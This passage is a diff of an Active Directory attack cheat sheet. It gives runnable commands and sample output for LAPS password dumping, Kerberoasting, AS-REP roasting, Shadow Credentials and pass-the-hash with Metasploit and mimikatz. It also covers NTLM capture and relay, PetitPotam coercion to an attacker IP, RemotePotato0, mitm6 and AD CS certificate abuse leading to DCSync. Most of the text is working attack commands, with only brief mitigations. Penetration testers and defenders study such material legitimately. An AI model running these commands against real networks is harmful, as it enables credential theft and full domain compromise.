-ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
-```
### Password in AD User comment
+```powershell
+$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
+GET-DESC... 10.0.2.11 389 dc01 [+] Found following users:
+GET-DESC... 10.0.2.11 389 dc01 User: Guest description: Built-in account for guest access to the computer/domain
+GET-DESC... 10.0.2.11 389 dc01 User: krbtgt description: Key Distribution Center Service Account
+```
+
+There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.
+
```powershell
enum4linux | grep -i desc
-There are 3-4 fields that seem to be common in most AD schemas:
-UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```
+
or dump the Active Directory and `grep` the content.
```powershell
@@ -1041,15 +1241,15 @@ ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP
> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically changed.
#### GMSA Attributes in the Active Directory
-* **msDS-GroupMSAMembership** (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
-* **msds-ManagedPassword** - This attribute contains a BLOB with password information for group-managed service accounts.
-* **msDS-ManagedPasswordId** - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
-* **msDS-ManagedPasswordInterval** - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
+* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
+* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
+* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
+* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
#### Extract NT hash from the Active Directory
-* GMSAPasswordReader (C#)
+* [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) (C#)
```ps1
# https://github.com/rvazarkar/GMSAPasswordReader
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
@@ -1087,47 +1287,65 @@ Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
-* CrackMapExec
- ```powershell
- crackmapexec smb 10.10.10.10 -u user -H 8846f7eaee8fb117ad06bdd830b7586c -M laps
- ```
+ - From Windows:
-* Powerview
- ```powershell
- PS > Import-Module .\PowerView.ps1
- PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
- ```
+ * adsisearcher (native binary on Windows 8+)
+ ```powershell
+ ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
+ ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
+ ```
-* LAPSToolkit - https://github.com/leoloobeek/LAPSToolkit
- ```powershell
- $ Get-LAPSComputers
- ComputerName Password Expiration
- ------------ -------- ----------
- exmaple.domain.local dbZu7;vGaI)Y6w1L 02/21/2021 22:29:18
+ * [PowerView](https://github.com/PowerShellEmpire/PowerTools)
+ ```powershell
+ PS > Import-Module .\PowerView.ps1
+ PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
+ ```
- $ Find-LAPSDelegatedGroups
- $ Find-AdmPwdExtendedRights
- ```
+ * [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
+ ```powershell
+ $ Get-LAPSComputers
+ ComputerName Password Expiration
+ ------------ -------- ----------
+ example.domain.local dbZu7;vGaI)Y6w1L 02/21/2021 22:29:18
-* ldapsearch
- ```powershell
- ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
- ```
+ $ Find-LAPSDelegatedGroups
+ $ Find-AdmPwdExtendedRights
+ ```
-* LAPSDumper - https://github.com/n00py/LAPSDumper
- ```powershell
- python laps.py -u user -p password -d domain.local
- python laps.py -u user -p e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c -d domain.local -l dc01.domain.local
- ```
+ * Powershell AdmPwd.PS
+ ```powershell
+ foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
+ ```
-* Powershell AdmPwd.PS
- ```powershell
- foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
- ```
+ - From linux:
+ * [pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
+ ```bash
+ # Read the password of all computers
+ ./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
+ # Write a random password to a specific computer
+ ./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
+ ```
+
+ * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec):
+ ```bash
+ crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
+ ```
+
+ * [LAPSDumper](https://github.com/n00py/LAPSDumper)
+ ```bash
+ python laps.py -u 'user' -p 'password' -d 'domain.local'
+ python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
+ ```
+
+ * ldapsearch
+ ```bash
+ ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
+ ```
+
### Pass-the-Ticket Golden Tickets
-Forging a TGT require the krbtgt NTLM hash
+Forging a TGT require the `krbtgt` NTLM hash
> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.
@@ -1237,7 +1455,7 @@ Mitigations:
Any valid domain user can request a kerberos ticket (TGS) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
-* `GetUserSPNs` from Impacket Suite
+* [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
```powershell
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
@@ -1252,13 +1470,23 @@ Any valid domain user can request a kerberos ticket (TGS) for any domain service
* CrackMapExec Module
```powershell
- crackmapexec ldap 10.10.10.100 -u 'username' -p 'password' --kerberoasting output.txt
+ $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
+ LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
+ LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
```
* [Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
+ # Stats
+ Rubeus.exe kerberoast /stats
+ ------------------------------------- ----------------------------------
+ | Supported Encryption Type | Count | | Password Last Set Year | Count |
+ ------------------------------------- ----------------------------------
+ | RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
+ ------------------------------------- ----------------------------------
+
# Kerberoast (RC4 ticket)
- .\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
+ Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
# Kerberoast (AES ticket)
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
@@ -1279,14 +1507,21 @@ Any valid domain user can request a kerberos ticket (TGS) for any domain service
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
```
+* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
+ ```powershell
+ # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
+ # print the "kerberoast" hash, and delete the temporary SPN set for that operation
+ targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
+ ```
+
Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`)
-| Mode | Description |
-|-------|--------------|
-| 13100 | Kerberos 5 TGS-REP etype 23 (RC4) |
-| 19600 | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
-| 19700 | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
+| Mode | Description |
+|---------|--------------|
+| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
+| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
+| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
```powershell
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
@@ -1324,7 +1559,7 @@ Mitigations:
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
```
-* `GetNPUsers` from Impacket Suite
+* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite
```powershell
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
[*] Getting TGT for svc-alfresco
@@ -1337,7 +1572,8 @@ Mitigations:
* CrackMapExec Module
```powershell
- crackmapexec ldap 10.10.10.100 -u 'username' -p 'password' --asreproast output.txt
+ $ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
+ LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
```
Using `hashcat` or `john` to crack the ticket.
@@ -1354,39 +1590,66 @@ C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproa
**Mitigations**:
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
+
+### Shadow Credentials
+
+Requirements :
+* Domain Controller on (at least) Windows Server 2016
+* PKINIT Kerberos authentication
+* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
+
+Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.
+
+ - From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
+ ```powershell
+ # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+ Whisker.exe list /target:computername$
+ # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+ Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
+ # Removes a key credential from the target object specified by a DeviceID GUID.
+ Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
+ ```
+
+ - From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
+ ```bash
+ # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+ python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
+ # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+ python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
+ # Removes a key credential from the target object specified by a DeviceID GUID.
+ python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
+ ```
+
+
### Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
-```powershell
-use exploit/windows/smb/psexec
-set RHOST 10.2.0.3
-set SMBUser jarrieta
-set SMBPass nastyCutt3r
-# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
-# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
-set PAYLOAD windows/meterpreter/bind_tcp
-run
-shell
-```
-
-or with crackmapexec
-
-```powershell
-cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
-also works with net range : cme smb 10.2.0.2/24 ...
-```
-
-or with psexec
-
-```powershell
-proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
-```
-
-or with the builtin Windows RDP and mimikatz
-```powershell
-sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
-```
+* Metasploit
+ ```powershell
+ use exploit/windows/smb/psexec
+ set RHOST 10.2.0.3
+ set SMBUser jarrieta
+ set SMBPass nastyCutt3r
+ # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
+ # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
+ set PAYLOAD windows/meterpreter/bind_tcp
+ run
+ shell
+ ```
+* CrackMapExec
+ ```powershell
+ cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
+ ```
+* Impacket suite
+ ```powershell
+ proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
+ ```
+* Windows RDP and mimikatz
+ ```powershell
+ sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
+ sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
+ ```
You can extract the local **SAM database** to find the local administrator hash :
@@ -1400,31 +1663,85 @@ $ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
### OverPass-the-Hash (pass the key)
-Request a TGT with only the NT hash then you can connect to the machine using the TGT.
+In this technique, instead of passing the hash directly, we use the NTLM hash of an account to request a valid Kerberost ticket (TGT).
#### Using impacket
-```powershell
-root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
-root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
-root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
+```bash
+root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
+root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
+root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass
-also with the AES Key if you have it
-root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
+# also with the AES Key if you have it
+root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
-ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
-kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
-klist
+root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
+root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
+root@kali:~$ klist
```
#### Using Rubeus
```powershell
-C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
-C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
+# Request a TGT as the target user and pass it into the current session
+# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
+.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt
+
+# More stealthy variant, but requires the AES256 hash
+.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt
+
+# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
+.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```
-### Capturing and cracking NTLMv2 hashes
+
+
+### Capturing and cracking Net-NTLMv1/NTLMv1 hashes
+
+> Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash.
+
+:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.
+
+**Requirements**:
+* LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)
+
+**Exploitation**:
+* Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical **1122334455667788** challenge
+ ```ps1
+ HTTPS = On
+ DNS = On
+ LDAP = On
+ ...
+ ; Custom challenge.
+ ; Use "Random" for generating a random challenge for each requests (Default)
+ Challenge = 1122334455667788
+ ```
+* Fire Responder: `responder -I eth0 --lm`
+* Force a callback:
+ ```ps1
+ PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
+ PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
+ ```
+* If you got some `NTLMv1 hashes`, you need to format them to submit them on [crack.sh](https://crack.sh/netntlm/)
+ ```ps1
+ username::hostname:response:response:challenge -> NTHASH:response
+ NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
+ ```
+* Or crack them with Hashcat / John The Ripper
+ ```ps1
+ john --format=netntlm hash.txt
+ hashcat -m 5500 -a 3 hash.txt
+ ```
+* Now you can DCSync using the Pass-The-Hash with the DC machine account
+
+:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.
+
+
+**Mitigations**:
+
+* Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`
+
+### Capturing and cracking Net-NTLMv2/NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.
@@ -1439,16 +1756,24 @@ PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
```
+Crack the hashes with Hashcat / John The Ripper
+
+```ps1
+john --format=netntlmv2 hash.txt
+hashcat -m 5600 -a 3 hash.txt
+```
+
+
### Man-in-the-Middle attacks & relaying
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
| Hash | Hashcat | Attack method |
|---|---|---|
-| LM | 3000 | crack/pass the hash |
-| NTLM/NTHash | 1000 | crack/pass the hash |
-| NTLMv1/Net-NTLMv1 | 5500 | crack/relay attack |
-| NTLMv2/Net-NTLMv2 | 5600 | crack/relay attack |
+| LM | `3000` | crack/pass the hash |
+| NTLM/NTHash | `1000` | crack/pass the hash |
+| NTLMv1/Net-NTLMv1 | `5500` | crack/relay attack |
+| NTLMv2/Net-NTLMv2 | `5600` | crack/relay attack |
Crack the hash with `hashcat`.
@@ -1521,7 +1846,7 @@ If a machine has `SMB signing`:`disabled`, it is possible to use Responder with
#### SMB Signing Disabled and IPv6
-Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
+Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
```powershell
crackmapexec smb $hosts --gen-relay-list relay.txt
@@ -1575,7 +1900,7 @@ python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
#### Ghost Potato - CVE-2019-1384
-Prerequisites:
+Requirements:
* User must be a member of the local Administrators group
* User must be a member of the Backup Operators group
* Token must be elevated
@@ -1586,13 +1911,163 @@ Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impack
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```
+#### RemotePotato0 DCOM DCE RPC relay
+
+> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine
+
+Requirements:
+- a shell in session 0 (e.g. WinRm shell or SSH shell)
+- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)
+
+```powershell
+# https://github.com/antonioCoco/RemotePotato0/
+Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
+Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
+Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
+Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
+```
+
+
+#### Relay delegation with mitm6
+
+Requirements:
+- IPv6 enabled (Windows prefers IPV6 over IPv4)
+- LDAP over TLS (LDAPS)
+
+> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
+
+```powershell
+git clone https://github.com/fox-it/mitm6.git
+cd /opt/tools/mitm6
+pip install .
+
+mitm6 -hw ws02 -d lab.local --ignore-nofqnd
+ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
+then use rubeus with s4u to relay the delegation
+```
+
+
+### Active Directory Certificate Services
+
+#### ESC1 - Misconfigured Certificate Templates
+
+> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
+
+Requirements:
+* Template that allows for AD authentication
+* **ENROLLEE_SUPPLIES_SUBJECT** flag
+* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
+
+Exploitation:
+* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
+ ```ps1
+ Certify.exe find /vulnerable
+ or
+ PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
+ ```
+* Use Certify or [Certi](https://github.com/eloypgz/certi) to request a Certificate and add an alternative name (user to impersonate)
+ ```ps1
+ # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
+ Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
+ certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
+ ```
+* Use OpenSSL and convert the certificate, do not enter a password
+ ```ps1
+ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
+ ```
+* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
+ ```ps1
+ Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
+ ```
+
+**WARNING**: These certificates will still be usable even if the user or computer resets their password!
+
+**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
+
+
+#### ESC2 - Misconfigured Certificate Templates
+
+Requirements:
+* Allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
+
+Exploitation:
+* Find template
+ ```ps1
+ PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
+ ```
+* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
+
+
+#### ESC8 - AD CS Relay Attack
+
+> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
+
+Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)
+
+* Version 1: NTLM Relay + Rubeus + PetitPotam
+ ```powershell
+ impacket> python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs
+ impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
+ # For a member server or workstation, the template would be "Computer".
+ # Other templates: workstation, DomainController, Machine, KerberosAuthentication
+
+ # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
+ # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
+ git clone https://github.com/topotam/PetitPotam
+ python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
+ python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
+ python3 dementor.py -u -p -d
+ python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
+
+ # Use the certificate with rubeus to request a TGT
+ Rubeus.exe asktgt /user: /certificate: /ptt
+ Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
+
+ # Now you can use the TGT to perform a DCSync
+ mimikatz> lsadump::dcsync /user:krbtgt
+ ```
+
+* Version 2: NTLM Relay + Mimikatz + Kekeo
+ ```powershell
+ impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+ # Mimikatz
+ mimikatz> misc::efs /server:dc.lab.local /connect: /noauth
+
+ # Kekeo
+ kekeo> base64 /input:on
+ kekeo> tgt::ask /pfx: /user:dc$ /domain:lab.local /ptt
+
+ # Mimikatz
+ mimikatz> lsadump::dcsync /user:krbtgt
+ ```
+* Version 3: ADCSPwn
+ ```powershell
+ https://github.com/bats3c/ADCSPwn
+ adcspwn.exe --adcs --port [local port] --remote [computer]
+ adcspwn.exe --adcs cs.pwnlab.local
+ adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
+ adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
+ adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
+
+ # ADCSPwn arguments
+ adcs - This is the address of the AD CS server which authentication will be relayed to.
+ secure - Use HTTPS with the certificate service.
+ port - The port ADCSPwn will listen on.
+ remote - Remote machine to trigger authentication from.
+ username - Username for non-domain context.
+ password - Password for non-domain context.
+ dc - Domain controller to query for Certificate Templates (LDAP).
+ unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
+ output - Output path to store base64 generated crt.
+ ```
+
### Dangerous Built-in Groups Usage
If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.
> The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
-
Find users with `AdminCount=1`.
```powershell
@@ -1637,7 +2112,9 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
#### GenericAll
